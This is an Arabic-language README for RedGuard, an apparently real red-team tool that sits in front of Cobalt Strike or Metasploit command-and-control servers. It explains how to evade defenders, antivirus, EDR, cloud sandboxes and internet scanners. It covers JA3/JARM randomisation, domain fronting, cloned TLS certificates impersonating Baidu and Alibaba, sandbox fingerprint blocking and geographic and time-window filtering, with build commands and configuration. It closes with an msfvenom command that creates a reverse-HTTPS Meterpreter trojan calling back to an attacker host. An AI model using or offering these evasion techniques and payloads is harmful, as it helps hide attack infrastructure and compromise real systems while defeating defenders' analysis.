wikiz/redguardأداة التحكم في تدفق واجهة C2 الأمامية مع عشوائية بصمة JA3/JARM، وdomain fronting، والتحقق من ملف تعريف C2 القابل للتشكيل، والقائمة البيضاء لعناوين IP لتجنب blue teams وAVs وEDRs ورسم خرائط الفضاء الإلكتروني.
الإنجليزية | 中文文档
RedGuard، أداة مشتقة تعتمد على تقنية التحكم في تدفق الواجهة الأمامية للقيادة والتحكم (C2)، تتميز بتصميم أخف، وتفاعل حركة مرور فعال، وتوافق موثوق مع التطوير بلغة البرمجة go. نظرًا لأن الهجمات الإلكترونية تتطور باستمرار، وتصبح تمارين الفريقين الأحمر والأزرق أكثر تعقيدًا تدريجيًا، تم تصميم RedGuard لتوفير حل أفضل لإخفاء قناة C2 للفريق الأحمر، والذي يوفر التحكم في التدفق لقناة C2، ويمنع حركة مرور التحليل "الخبيثة"، ويكمل مهمة الهجوم بأكملها بشكل أفضل.
RedGuard هي أداة تحكم في تدفق الواجهة الأمامية لـ C2 يمكنها تجنب اكتشاف الفريق الأزرق و AVS و EDR ومحركات البحث في الفضاء الإلكتروني.
يمكنك تنزيل الإصدار المترجم واستخدامه مباشرة، أو يمكنك تنزيل حزمة go عن بُعد للتجميع والتنفيذ المستقلين.```bash git clone https://github.com/wikiZ/RedGuard.git cd RedGuard
go build -ldflags "-s -w" -trimpath
chmod +x ./RedGuard&&./RedGuard
# 0x02 وصف التهيئة
## التهيئة الأولية
كما هو موضح في الشكل أدناه، قم بتعيين أذونات التنفيذ وتهيئة RedGuard. سيؤدي التشغيل الأول إلى إنشاء ملف تهيئة في الدليل الرئيسي للمستخدم الحالي لتحقيق تهيئة مرنة للوظائف. اسم ملف التهيئة: **.RedGuard_CobaltStrike.ini**.
**محتوى ملف التهيئة:**
تتعلق خيارات تهيئة الشهادة (cert) بشكل أساسي بمعلومات تهيئة اتصال HTTPS المشفر بشهادة SSL بين العينة والبنية التحتية الأمامية لـ C2. يتم استخدام الوكيل (proxy) بشكل أساسي لتهيئة خيارات التحكم في حركة المرور العكسية للوكيل. سيتم شرح الاستخدام المحدد بالتفصيل أدناه.
سيتم إنشاء اتصال HTTPS المشفر بشهادة SSL في دليل cert-rsa/ ضمن الدليل الذي يتم تنفيذ RedGuard منه. يمكنك بدء وإيقاف الوظائف الأساسية للأداة عن طريق تعديل ملف التهيئة **(يتم إنشاء الرقم التسلسلي للشهادة وفقًا للطابع الزمني، لا تقلق بشأن الارتباط بهذه الميزة)**. إذا كنت ترغب في استخدام شهادتك الخاصة، فقم بإعادة تسميتها إلى ca.crt و ca.key.```bash
openssl x509 -in ca.crt -noout -text
يتم تحديث بصمات TLS JARM العشوائية في كل مرة يتم فيها بدء تشغيل RedGuard لمنع استخدامها للمصادقة على البنية التحتية لـ C2.
في حالة استخدام شهادتك الخاصة، قم بتعديل معامل HasCert في ملف التهيئة إلى true لمنع مشاكل الاتصال الطبيعية الناتجة عن عدم توافق مجموعة التشفير CipherSuites مع الشهادة المخصصة بسبب التعتيم العشوائي لـ JARM.```bash
HasCert = false
### شهادات TLS المزيفة
عند نشر إخفاء المجال (Domain Fronting) لإخفاء حركة مرور C2، لا يحتوي اسم المجال المُسرَّع على معلومات شهادة HTTPS بشكل افتراضي. وهذا بالطبع مشكلة، لذا يجب الانتباه إلى تكوين الشهادة عند تكوين اسم المجال. وهذا أيضًا هو الأساس الافتراضي لتحديد ما إذا كانت العينة هي حركة مرور واجهة أمامية للمجال.
[^Tencent Cloud]: تكوين شهادة شبكة توصيل المحتوى
أعتقد أن الجميع سيكون لديهم بعض الأسئلة بعد قراءة هذا، **كيفية الحصول على الشهادة المُكوَّنة؟ إذا كنت تستخدم تطبيقك الخاص للحصول على الشهادة، فلن يفي بتأثير إخفاء الهوية الذي نتوقعه.** هنا يمكنك استخدام الشهادة المستنسخة للتكوين. وبأخذ Tencent Cloud كمثال، وُجد في الاختبار أنها لن تتحقق من صحة الشهادة المرفوعة المخصصة. يمكننا استخدام نفس شهادة الموقع الفعلي لاسم المجال المُسرَّع لتزويرها. على الرغم من أن الشهادة المزيفة لا يمكنها الاتصال عند استبدال الشهادة الافتراضية لـ CS في الظروف العادية، إلا أنها لن تتحقق من الصحة عند نشرها على تسريع الموقع الكامل لـ CDN لدى موفر الخدمة السحابية و RedGuard، ويمكن لحركة مرور C2 التفاعلية الاتصال بشكل طبيعي.
**فيما يلي عنوان المشروع الحالي على Github**```bash
https://github.com/virusdefender/copy-cert
على الرغم من حل شهادة جانب حركة المرور على الواجهة الأمامية للمجال النموذجي، إلا أنه من منظور رسم خرائط الشبكة واسعة النطاق، لا يزال خادم C2 الخاص بنا مكشوفًا للعالم الخارجي وقد يتم اكتشافه وربطه بخادم C2 الحقيقي. في هذا الوقت، يمكن استخدام RedGuard لتعديل الشهادة الافتراضية للواجهة الأمامية لـ C2 لتحقيق إخفاء الهوية.
[^intelligence information]: شهادات TLS
ما سبق هو تأثير الشهادة المزيفة لخادم C2. يمكن ملاحظة أنها موثوقة وغير منتهية الصلاحية في معلومات مجتمع Threatbook. الطريقة الرئيسية للحصول على الشهادة الرقمية هي استخراجها وتحديثها في الوقت الفعلي أثناء تحليل العينات في بيئة الحماية السحابية، لكن من الواضح أنه لا يتم التحقق منها بشكل فعال. قيمة الحالة تتحقق فقط من وقت انتهاء الصلاحية. يجب أن يعتمد التحقق من موثوقية الشهادة فقط على ما إذا كان الاتصال الطبيعي ممكنًا.
تجدر الإشارة إلى أن معلومات Threatbook لا تضع علامات على عناوين SNI و HOST لطلبات العينات مع معلومات الشهادة. هذا في الواقع لمنع النتائج الإيجابية الخاطئة. أعتقد أن هذا صحيح. كأساس مهم لمساعدة الباحثين في التحليل، فإن معلومات التهديدات أفضل أن تكون غير مكتملة من أن تشير إلى الاتجاه الخاطئ، مما قد يسبب حكمًا خاطئًا في التحليل اللاحق. إذا كان تكوين الشهادات لتسريع الموقع بالكامل هو تزوير شهادات لحركة مرور الاتصالات، فإن تكوين شهادة الاستجابة المسبقة لـ RedGuard C2 هو تزوير الخصائص السلوكية لخادم C2 الحقيقي المنشور على الشبكة العامة لتحقيق تأثيرات مضادة للرسم الخرائطي، وهو أمر ضروري جدًا.
استخرج الرقم التسلسلي للشهادة: 55e6acaed1f8a430f9a938c5، وقم بترميز HEX للحصول على بصمة شهادة TLS: 26585094245224241434632730821
عدد نتائج البحث: 2291
من خلال رسم خرائط الفضاء الإلكتروني، تم اكتشاف 2,291 عنوان IP مستقل، وأكد التحقق أن جميعها لديها شهادات TLS تابعة لـ Baidu. من الصعب تحديد ما إذا كان اتصالًا ضارًا استنادًا فقط إلى حركة مرور الاتصالات. ومع ذلك، تم تزوير شهادات TLS الخاصة بالواجهة الأمامية للمجال + مرافق حركة المرور الأمامية لـ C2، مما أدى إلى التدخل بنجاح في رسم خرائط الفضاء ومعلومات التهديدات، مما تسبب في ارتباط معلومات غير صحيح، وجعل خصائص حركة مرور المهاجم أكثر واقعية، وحقق غرض تزوير حركة مرور الاتصالات العادية.
حتى لو لم يكن هناك معالجة إعادة توجيه مخفية قبل مرفق حركة المرور الأمامية لـ C2، فمن الأفضل تغيير الشهادة لـ RedGuard. افتراضيًا، تستخدم أي مكتبة بصمات يتم تشكيلها عن طريق تعريف بصمات المكونات الشائعة المستخدمة حاليًا في رسم خرائط الفضاء الإلكتروني سلوك خصائص التكوين الافتراضية للمكونات الشائعة للتعريف. قد تظهر مجموعات مختلفة خصائص فريدة مختلفة خلال عمليات التخصيص هذه. بالطبع، يتطلب تكوين البصمات فهمًا معينًا للمكون الهدف، لاستخراج الخصائص الافتراضية للهدف وتشكيل بصمة مرتبطة. هنا، يتم استخدام الخصائص السلوكية لشهادة RG لرسم خرائط الفضاء الإلكتروني، والتي ترتبط بعدد كبير من عقد RG المنشورة على الشبكة العامة.
ليس من المستغرب أن يتمكن المؤلف من استخراج البصمة، لكن لا يزال يُوصى بأن يقوم مستخدمو RedGuard بتعديل معلومات الشهادة الافتراضية وأن يكونوا قراصنة محترفين:)
root@VM-4-13-ubuntu:~# ./RedGuard -h
Usage of ./RedGuard: -DelHeader string Customize the header to be deleted -DropAction string RedGuard interception action (default "redirect") -EdgeHost string Set Edge Host Communication Domain (default "") -EdgeTarget string Set Edge Host Proxy Target (default "") -FieldFinger string Set HTTP Header identification field Info -FieldName string Set the name of the HTTP Header identification field -HasCert string Whether to use the certificate you have applied for (default "true") -allowIP string Proxy Requests Allow IP (default "") -allowLocation string Proxy Requests Allow Location (default "") -allowTime string Proxy Requests Allow Time (default "") -common string Cert CommonName (default ".aliyun.com") -config string Set Config Path -country string Cert Country (default "CN") -dns string Cert DNSName -host string Set Proxy HostTarget -http string Set Proxy HTTP Port (default ":80") -https string Set Proxy HTTPS Port (default ":443") -ip string IPLookUP IP -locality string Cert Locality (default "HangZhou") -location string IPLookUP Location (default "风起") -malleable string Set Proxy Requests Filter Malleable File (default "*") -organization string Cert Organization (default "Alibaba (China) Technology Co., Ltd.") -redirect string Proxy redirect URL (default "https://360.net") -type string C2 Server Type (default "CobaltStrike") -u Enable configuration file modification
**ملاحظة: يمكنك استخدام الأمر parameter لتعديل ملف الإعدادات. بالطبع، أعتقد أنه قد يكون أكثر ملاءمة تعديله يدويًا باستخدام vim.**
# 0x03 استخدام الأداة
## الاعتراض الأساسي
إذا قمت بالوصول مباشرة إلى منفذ الوكيل العكسي، سيتم تشغيل قاعدة الاعتراض. هنا يمكنك رؤية الدليل الجذر لطلب العميل من خلال سجل الإخراج، ولكن نظرًا لأن الطلب لا يحمل بيانات الاعتماد المطلوبة وهي رأس طلب HOST الصحيح، يتم تشغيل قاعدة الاعتراض الأساسي، ويتم إعادة توجيه حركة المرور إلى <https://360.net>
هذا مجرد عرض للإخراج، ويمكن في الاستخدام الفعلي تشغيله في الخلفية من خلال `nohup ./RedGuard &`.
```bash
{"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
ليس من الصعب أن نرى من الشريحة أعلاه أن 360.net يتم توجيهه إلى المنفذ المحلي 8080، و 360.com يتم توجيهه إلى المنفذ المحلي 4433، وأن بروتوكول HTTP المستخدم مختلف أيضًا. في الاستخدام الفعلي، من الضروري الانتباه إلى نوع بروتوكول المستمع. يجب أن يكون متسقًا مع الإعدادات هنا، وتعيين رأس طلب HOST المقابل.
كما هو موضح في الشكل أعلاه، في حالة الوصول غير المصرح به، فإن معلومات الاستجابة التي نحصل عليها هي أيضًا معلومات الإرجاع الخاصة بالموقع المعاد توجيهه.
في حالة الاعتراض الأساسي أعلاه، يتم استخدام طريقة الاعتراض الافتراضية، حيث يتم اعتراض حركة المرور غير القانونية عن طريق إعادة التوجيه. من خلال تعديل ملف التكوين، يمكننا تغيير طريقة الاعتراض وعنوان URL الخاص بالموقع المعاد توجيهه. في الواقع، بدلاً من تسمية هذا بإعادة توجيه، أعتقد أنه قد يكون من الأنسب وصفه بأنه اختطاف أو استنساخ، نظرًا لأن رمز حالة الاستجابة المرتجعة هو 200، ويتم الحصول على الاستجابة من موقع ويب آخر لتقليد الموقع المستنسخ/المختطف بأكبر قدر ممكن من الدقة.
يمكن توجيه الحزم غير الصالحة بشكل خاطئ وفقًا لثلاث استراتيجيات:
drop_action = proxy
Redirect = https://360.net
**Redirect = URL** في ملف التكوين يشير إلى عنوان URL المخترق. يدعم RedGuard "التغيير الساخن"، مما يعني أنه أثناء تشغيل الأداة في الخلفية عبر `nohup`، لا يزال بإمكاننا تعديل ملف التكوين. يتم بدء المحتوى وإيقافه في الوقت الفعلي.```bash
./RedGuard -u --drop true
لاحظ أنه عند تعديل ملف التهيئة عبر سطر الأوامر، يجب ألا يكون الخيار -u مفقودًا، وإلا فلن يمكن تعديل ملف التهيئة بنجاح. إذا كنت بحاجة إلى استعادة إعدادات ملف التهيئة الافتراضية، ما عليك سوى إدخال ./RedGuard -u.
طريقة اعتراض أخرى هي DROP، والتي تغلق مباشرة استجابة اتصال HTTP ويتم تفعيلها عن طريق تعيين DROP = true. تأثير الاعتراض المحدد كما يلي:
يمكن ملاحظة أن التحكم في التدفق الأمامي لـ C2 يغلق الاستجابة مباشرة للطلبات غير القانونية دون رمز استجابة HTTP. في كشف خرائط الفضاء الإلكتروني، يمكن لطريقة DROP إخفاء فتح المنافذ. يمكن رؤية التأثير المحدد في الحالة التالية تحليل.
أعتقد أن العديد من المستخدمين سيكونون مهتمين بـ اختطاف الاستجابة. المبدأ العام هو أنه عندما يبدأ العميل طلبًا إلى خادم C2 الحقيقي، نظرًا لأنه لا يفي بقواعد الدخول، سيحصل خادم C2 على الموقع العادي المحدد ويعيد معلومات استجابته. لذلك، من منظور الطلب، يبدو أنه يتفاعل مع خدمة IP، ولكن في الواقع، يتم استخدام خادم C2 الوسيط كخادم وكيل للتفاعل مع الموقع العادي، ومن الصعب العثور على حالات شاذة. إذا كان يفي بطلب الدخول، فسيتم إعادة توجيه طلب التدفق إلى منفذ الاستماع لخدمة C2 الحقيقية للتفاعل، وقد تم تصفية منفذ الاستماع الحقيقي بواسطة جدار الحماية السحابي، مما يسمح فقط بالوصول المحلي، ولا يمكن الوصول إليه مباشرة من الخارج. لذا من منظور فتح المنفذ الخارجي، يكون منفذ HTTP/S فقط مفتوحًا، وبمعنى ما، هذا هو بالفعل منفذ C2 عبر الإنترنت.
[^مخطط تدفق الحركة]: عملية تفاعل حركة خادم C2
في بيانات خرائط الفضاء الإلكتروني، رمز استجابة المنفذ المفتوح HTTP/S لـ IP هو 200، وليس قفزة 307، وهو أكثر واقعية.
شهادة HTTPS لها نفس تأثير الشهادة المزيفة المذكورة أعلاه، وكلاهما بصمات شهادات حقيقية.
أعتقد أن العديد من فرق الاختراق سيستخدمون على نطاق واسع أساليب الإخفاء مثل الوظائف السحابية/توجيه النطاق في عملية المشاريع القتالية. ومع ذلك، في مواجهة الهجوم والدفاع اليوم، تواجه طريقتا الإخفاء المذكورتان أعلاه مشكلة قاتلة، وهي أنهما يمكنهما الاتصال مباشرة بخدمة C2. النتيجة لا شك أنها عندما نمسك بعنوان الوظيفة السحابية أو IP/HOST التفاعلي لتوجيه النطاق، يمكننا الوصول مباشرة إلى خدمة استماع C2 وإثبات أنها منشأة هجومية.
نظرًا لأن التدفق يمكن أن يصل مباشرة إلى C2، فمن الجدير النظر فيما إذا كان الجهاز الأمني يمكنه إجراء مسح CS على التدفق الذي لا يتطابق مع SNI و HOST لتحديد ما إذا كان تدفقًا ضارًا. وينطبق الشيء نفسه على الوظائف السحابية أو بيئات الصندوق الرملي. بالإضافة إلى جانب العينة، يمكن أن يكون هناك أيضًا المزيد من عمليات التحليل على مستوى التدفق.
بعد اختطاف الاستجابة، يمكن للوصول المباشر إلى خدمة HTTP التفاعل مع الموقع بشكل طبيعي، لكن Cscan لا يمكنه مسح معلومات العينة لأن التدفق لا يمكنه الوصول إلى مستمع C2 الحقيقي. لا يمكن التفاعل الطبيعي مع C2 إلا عند استيفاء خصائص بدء التدفق. ومع ذلك، هناك مشكلة. يحتاج برنامج مسح C2 إلى الامتثال لقواعد الدخول، مما يضع اختبارًا معينًا على مهارات الترميز لمحللي الفريق الأزرق. برنامج المسح المنشور حاليًا هو في شكل Nmap.
توفر JA3 بصمة أكثر قابلية للتعرف على الاتصالات المشفرة بين العميل والخادم. تستخدم بصمات TLS للتعرف على مفاوضات TLS بين العملاء والخوادم الضارة، وبالتالي تحقيق تأثير ربط العملاء الضارين. هذه البصمة سهلة الإنشاء على أي منصة باستخدام تشفير MD5 وتستخدم حاليًا على نطاق واسع في استخبارات التهديدات. على سبيل المثال، يمكن رؤيتها في تقارير تحليل العينات لبعض الصناديق الرملية لإثبات الارتباط بين العينات المختلفة.
إذا تمكنا من إتقان JA3(S) لخادم C2 والعميل الضار، حتى إذا كان التدفق مشفرًا وكان عنوان IP أو اسم النطاق لخادم C2 غير معروف، فلا يزال بإمكاننا التعرف على مفاوضات TLS بين العميل الضار والخادم من خلال بصمات TLS. أعتقد أن الجميع يمكنهم التفكير في هذا بعد رؤيته، وهو أيضًا إجراء للتعامل مع أساليب إخفاء إعادة توجيه التدفق مثل توجيه النطاق، والوكيل العكسي، والوظيفة السحابية. من خلال تنفيذ العينة في الصندوق الرملي وتحديد مفاوضات TLS لاتصال C2 وإنشاء بصمات JA3(S)، يمكن تطبيقها على استخبارات التهديدات لتحقيق التتبع المساعد.
أعلنت عن هذه التقنية في عام 2022. عند اختبار بيئة الصندوق الرملي للخطوات الدقيقة، وجدت أنه على الرغم من أن عدد عناوين IP الصادرة لطلب التفاعل كان صغيرًا، إلا أنه لم يكن دقيقًا تحديد الصندوق الرملي بواسطة IP، وكانت هذه ميزة سهلة التغيير، ولكن بصمة JA3 الخاصة به كانت فريدة في نفس بيئة النظام. لاحقًا، تلقيت ردًا بأن الصندوق الرملي قد أكمل توزيع البصمات عشوائيًا، لكن الاختبارات الأخيرة وجدت أنه لم يتم تنفيذه بالكامل. ما زلت أتمنى مواجهة مشكلة البصمات على جانب التدفق.
من منظور الصندوق الرملي السحابي، من خلال مراقبة تفاعل التدفق بين العينة وخادم C2، يتم إنشاء بصمة JA3(S) لتحديد العميل الضار وبالتالي إجراء ارتباط. بالتفكير بشكل عكسي، كمنشأة للتحكم في التدفق أمام C2، يمكننا أيضًا إجراء مثل هذه العمليات للحصول على بصمة JA3 لطلب العميل. من خلال اختبار بيئات الصندوق الرملي المختلفة، يتم الحصول على بصمات JA3 هذه لتشكيل مكتبة بصمات، وبالتالي تشكيل استراتيجية اعتراض أساسية.
تخيل أنه في عملية تفاعل البرنامج الضار المرحلي، سيقوم اللودر أولاً بسحب كود شل من العنوان البعيد. ثم، عندما يحدد التدفق أن الطلب يفي بخصائص الصندوق الرملي السحابي لمكتبة بصمات JA3، سيعترض الطلبات اللاحقة. إذا لم يمكن الحصول على كود شل، فلن يمكن إكمال عملية التحميل بالكامل، وبطبيعة الحال لن يتمكن الصندوق الرملي من تحليله بالكامل. إذا كانت البيئة عبارة عن برنامج ضار غير مرحلي، فلن يتمكن تحليل الصندوق الرملي أيضًا من التحميل النهائي إلى خادم C2. أعتقد أن الجميع استيقظوا من نوم ووجدوا الكثير من سجلات الصندوق الرملي طويلة المدة معلقة على C2. بالطبع، في حالة مثالية، يمكننا تحديد بيئات الصندوق الرملي المختلفة، وهذا يعتمد بشكل أساسي على موثوقية مكتبة البصمات.
أثناء الاختبار، وجدت أنه بعد إضافة بصمة JA3 لمكتبة طلبات لغة GO من ZoomEye إلى مكتبة البصمات ومراقبة تدفق طلبات RG، تسببت معظم الطلبات في تفعيل الاعتراض الأساسي لميزة مكتبة بصمات JA3. هنا أخمن أن اللغة الأساسية لمنتج المسح هي جزء من مهمة المسح المنفذة بلغة GO. من خلال رابط، أكملت منطق المسح المكون من لغات أساسية مختلفة مهمة المسح بأكملها. هذا يشرح أيضًا لماذا تسبب مسح بعض منتجات المسح في تفعيل ميزة اعتراض بصمة JA3 لمكتبة طلبات لغة GO. مبدأ قاعدة التعرف هو نفسه بصمة الصندوق الرملي السحابي. كلاهما يستخدم تفرد بيئة العميل الطالب ومكتبة الطلبات. على عكس جانب الكمبيوتر الشخصي، فإن بيئة الطلب لهذه المنتجات لن تتغير بشكل أساسي حسب الرغبة، مما يتيح لنا أيضًا إمساك بصمة التدفق الخاصة بها واعتراضها، لذا هل يمكننا التفكير فيما إذا كان الجهاز الأمني يمكنه استخدام بصمة JA3 لتدفق الكشف النشط كأساس للاعتراض؟ بالطبع، عندما يكون تدفق الأعمال كبيرًا، قد يكون هناك قدر معين من الإنذارات الكاذبة. هنا نقترح فقط متطلبات منتج ممكنة نظريًا.
ملاحظة: يمكن للمستخدمين أيضًا تحميل عينات إلى الصندوق الرملي للحصول على بصمات JA3 الخاصة بهم والتحقق منها وإضافتها إلى مكتبة البصمات. تجدر الإشارة إلى أنه لا معنى إذا قام الصندوق الرملي فقط بتغيير بصمة JA3 إلى غير البصمة المذكورة أعلاه. ما يحتاج حقًا إلى حله هو أنه في كل مرة يقوم الصندوق الرملي بالتحليل الديناميكي، لا تكون البصمة هي نفسها، ويجب أن تفي تغييراتها بمتطلبات عدم التكرار قدر الإمكان. إذا كان معدل التكرار مرتفعًا، فسيظل يستخدم كبصمة.
يدعم حاليًا التعرف على الصندوق الرملي السحابي Threatbook واعتراضه كعرض توضيحي للتأثير
تكوين المعلمتين التاليتين في ملف التهيئة يحقق تأثير تغيير منفذ الوكيل العكسي. يوصى باستخدام إخفاء المنفذ الافتراضي طالما لا يتعارض مع منفذ الخادم الحالي. إذا كان يجب تعديله، فعليك الانتباه إلى عدم فقدان : في قيمة المعلمة```bash
Port_HTTPS = :443
Port_HTTP = :80
## سجلات RedGuard
يتم تحليل سلوك تتبع الفريق الأزرق من خلال سجل اعتراض الطلب المستهدف، والذي يمكن استخدامه لتتبع أحداث/مشكلات الاتصال بين الأقران. يتم إنشاء ملف السجل في الدليل الذي يعمل فيه RedGuard، **اسم الملف: RedGuard.log**.
## RedGuard الحصول على عنوان IP الحقيقي
يصف هذا القسم كيفية تكوين RG للحصول على عنوان IP الحقيقي للطلب. ما عليك سوى إضافة التكوين التالي إلى ملف تعريف جهاز C2، حيث يتم الحصول على عنوان IP الحقيقي للهدف من خلال رأس الطلب X-Forwarded-For.```bash
http-config {
set trust_x_forwarded_for "true";
}
طريقة التهيئة تأخذ AllowLocation = Jinan, Beijing كمثال. لاحظ أن RedGuard يوفر واجهتين برمجيتين (API) لإسناد IP العكسي، واحدة للمستخدمين في الصين القارية والأخرى للمستخدمين خارج الصين القارية، ويمكنه تعيين أي واجهة برمجية لاستخدامها ديناميكيًا وفقًا لاسم النطاق الجغرافي المدخل. إذا كان الهدف هو الصين، فاستخدم الأسماء الصينية للمنطقة المحددة، وإلا استخدم أسماء الأماكن الإنجليزية. يُوصى بأن يستخدم المستخدمون في الصين القارية الأسماء الصينية، لأن ذلك يعطي أفضل دقة في الإسناد وأسرع استجابة لواجهة API التي يتم الحصول عليها من الاستعلام العكسي.
ملاحظة: المستخدمون في الصين القارية، لا تستخدموا AllowLocation = Jinan,beijing بهذه الطريقة! فهي ليست ذات معنى كبير، حيث أن أول حرف في قيمة المعلمة يحدد أي واجهة برمجية سيتم استخدامها!```bash
AllowLocation = *
قبل أن تقرر تقييد المنطقة، يمكنك الاستعلام يدويًا عن عنوان IP باستخدام الأمر التالي.```bash
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to query
هنا قمنا بتعيين السماح فقط لمنطقة شاندونغ بالاتصال بالإنترنت
حركة مرور قانونية:
منطقة الطلب غير القانوني:
فيما يتعلق باتصالات القيود الجغرافية، قد يكون ذلك أكثر عملية في التمرين الهجومي والدفاعي الحالي. بشكل أساسي، تكون أهداف تمرين القيود على المستوى الإقليمي والبلدي في مناطق محددة، ويمكن تجاهل حركة المرور المطلوبة من المناطق الأخرى بشكل طبيعي. هذه الوظيفة في RedGuard لا تقتصر فقط على تحديد منطقة واحدة، بل يمكنها أيضًا تحديد مناطق اتصال متعددة وفقًا للمحافظات والمدن، واعتراض حركة المرور المطلوبة من المناطق الأخرى.
بالإضافة إلى القائمة السوداء المضمنة لعناوين IP الخاصة ببائعي الأمن السيبراني في RedGuard، يمكننا أيضًا التقييد وفقًا لطريقة القائمة البيضاء. في الواقع، أقترح أيضًا أنه أثناء الاختراق عبر الويب، يمكننا تقييد عناوين IP المتصلة وفقًا للقائمة البيضاء لتقسيم طريقة متعددة لعناوين IP.```bash
AllowIP = 127.0.0.1
كما هو موضح في الشكل أعلاه، نقيد السماح فقط باتصالات 127.0.0.1، ثم سيتم حظر حركة مرور الطلبات من عناوين IP الأخرى.
## الحظر استنادًا إلى الفترة الزمنية
هذه الوظيفة أكثر إثارة للاهتمام. تعيين قيم المعلمات التالية في ملف التكوين يعني أن مرفق التحكم في حركة المرور يمكنه الاتصال فقط من الساعة 8:00 صباحًا إلى الساعة 9:00 مساءً. سيناريو التطبيق المحدد هنا هو أنه خلال وقت الهجوم المحدد، نسمح بالاتصال مع C2، ونبقى صامتين في الأوقات الأخرى. وهذا أيضًا يسمح للفرق الحمراء بالحصول على ليلة نوم جيدة دون القلق من بعض الفرق الزرقاء التي تعمل في الليل والتي قد تشعر بالملل لتحليل حصان طروادة الخاص بك ثم تستيقظ على شيء لا يوصف، هاهاها.```bash
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
يستخدم RedGuard ملف C2 القابل للتعديل. يقوم بتحليل قسم ملف التكوين القابل للتوسيع المقدم لفهم العقد وتمرير الطلبات الواردة التي تفي به فقط، مع تضليل الطلبات الأخرى. تُستخدم أجزاء مثل http-stager و http-get و http-post وعناوين URI وheaders وUser-Agent المقابلة لها للتمييز بين طلبات beacon المشروعة والضوضاء غير ذات الصلة على الإنترنت أو حزم Out-of-bounds من IR/AV/EDR.```bash
MalleableFile = /root/cobaltstrike/Malleable.profile
الملف الشخصي الذي كتبه 风起 يُوصى باستخدامه:
> <https://github.com/wikiZ/CobaltStrike-Malleable-Profile>
## حقل حذف الاستجابة المخصص
في Cobalt Strike 4.7+، يقوم Teamserver تلقائيًا بإزالة رأس Content-Encoding دون أي إشعار، مما قد يؤدي إلى انتهاك malleable http-(get|post).server. علاوة على ذلك، إذا لم يكن هناك Content-type في رسالة استجابة خادم CS، ولكن بعد إعادة التوجيه بواسطة RedGuard، تتم إضافة Content-Type إلى رأس رسالة الاستجابة، مما يؤدي إلى تخزين cf للصفحة ويسبب تداخلًا.
بعد إصدار RedGuard 23.08.21، تمت إضافة وظيفة تخصيص رأس حزمة الاستجابة. يمكن للمستخدمين تخصيص وحذف معلومات الرأس في حزمة الاستجابة عن طريق تعديل ملف التكوين لحل مشكلة التحليل غير الصحيح.```bash
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-Encoding
قام RedGuard 23.05.13 بتحديث وظيفة التعرف على بصمة عينة البرامج الضارة، والتي تعتمد على تخصيص حقل HTTP Header الخاص بـ Malleable Profile كـ "قيمة الملح النموذجية" لتحديد هوية نفس مستمع C2/Host Header بشكل فريد. بالإضافة إلى ذلك، يمكن استخدام بصمة عينة البرامج الضارة الناتجة عن دمج حقول الطلب الأخرى ذات الصلة للكشف عن حيوية العينة المخصصة. وفقًا لمتطلبات مهام المهاجم، يمكن لوظيفة التعرف على بصمة العينة إجراء "عملية غير متصلة" على العينات التي ترغب في تعطيلها، لتفادي تحليل حركة المرور الخبيثة لاتصال العينة وتحليل الحصول على حمولة هجوم PAYLOAD للعينة المرحلية بشكل أفضل، وتوفير إجراءات تمويه أكثر تخصيصًا للمهاجم.
بالنسبة لمستمعي C2 مختلفين، يمكننا إعطاء أسماء مستعارة مختلفة لتكوينات Malleable Profile، وتخصيص أسماء وقيم الحقول ذات الصلة كقيمة الملح للعينة، واستخدامها كأحد الفروق بين العينات المختلفة. الكود التالي لأغراض التوضيح فقط، وفي سيناريوهات الهجوم والدفاع الفعلية يمكننا استخدام حقول أكثر واقعية لحزمة طلب HTTP كأساس للحكم.```bash http-get "listen2" { set uri "/image.gif"; client { header "Accept-Finger" "866e5289337ab033f89bc57c5274c7ca"; //Custom HTTP Header and Value metadata { print } } }
**حركة مرور HTTP**
كما هو موضح في الشكل، نستخدم قيمة **Salt** المذكورة أعلاه وحقل **Host** كأساس لتوليد البصمة. هنا نعرف:
- **Salt Value：866e5289337ab033f89bc57c5274c7ca**
- **Host ：redguard.com**
وفقًا لدمج القيم المذكورة أعلاه، يتم الحصول على البصمة النموذجية كما يلي:```bash
22e6db08c5ef1889d64103a290ac145c
الآن بعد أن عرفنا بصمة العينة المذكورة أعلاه، يمكننا تعيين حقل الرأس (Header field) المخصص وبصمة العينة في ملف إعدادات RedGuard لاعتراض حركة المرور الضارة. تجدر الإشارة إلى أنه يمكننا توسيع بصمات عينات متعددة، مفصولة بفواصل، ويجب أن يكون اسم الحقل (FieldName) متسقًا مع اسم حقل الرأس المُعد في ملف Malleable Profile.
نظرًا لأن ملف إعدادات RedGuard هو إعداد ساخن (hot configuration)، فلا نحتاج إلى إعادة تشغيل RedGuard لاعتراض العينات التي نريد تعطيلها. وعندما نريد إعادة تنشيط العينة، نكتفي بحذف بصمة العينة ذات الصلة من ملف إعدادات RedGuard.
تأثير التوضيح:
إذا كانت هناك مشكلة في الطريقة المذكورة أعلاه، فإن خادم C2 الفعلي المتصل بالإنترنت لا يمكن اعتراضه مباشرة بواسطة جدار الحماية، لأن طلب موازنة التحميل الفعلي في الوكيل العكسي يتم بواسطة عنوان IP الخاص بشركة مزود الخادم السحابي.
في المعركة المنفردة، يمكننا تعيين قاعدة اعتراض على جدار الحماية الخاص بالخادم السحابي.
ثم قم بتعيين العنوان الذي يشير إليه الوكيل إلى https://127.0.0.1:4433.```bash {"360.net":"http://127.0.0.1:8080","360.com":"https://127.0.0.1:4433"}
ونظرًا لأن التحقق الأساسي لدينا يعتمد على حقل رأس طلب HTTP HOST، فإن ما نراه في حركة مرور HTTP هو أيضًا نفس طريقة Domain Fronting، ولكن التكلفة أقل، ولا يلزم سوى خادم سحابي واحد.
بالنسبة لإعدادات المستمع، يتم تعيين `منفذ HTTPS (C2)` على منفذ الوكيل العكسي لـ RedGuard، و`منفذ HTTPS (Bind)` هو منفذ الاتصال الفعلي للجهاز المحلي.
## Metasploit
**إنشاء طروادة**```bash
$ msfvenom -p windows/meterpreter/reverse_https LHOST=vpsip LPORT=443 HttpHostHeader=360.com
-f exe -o ~/path/to/payload.exe
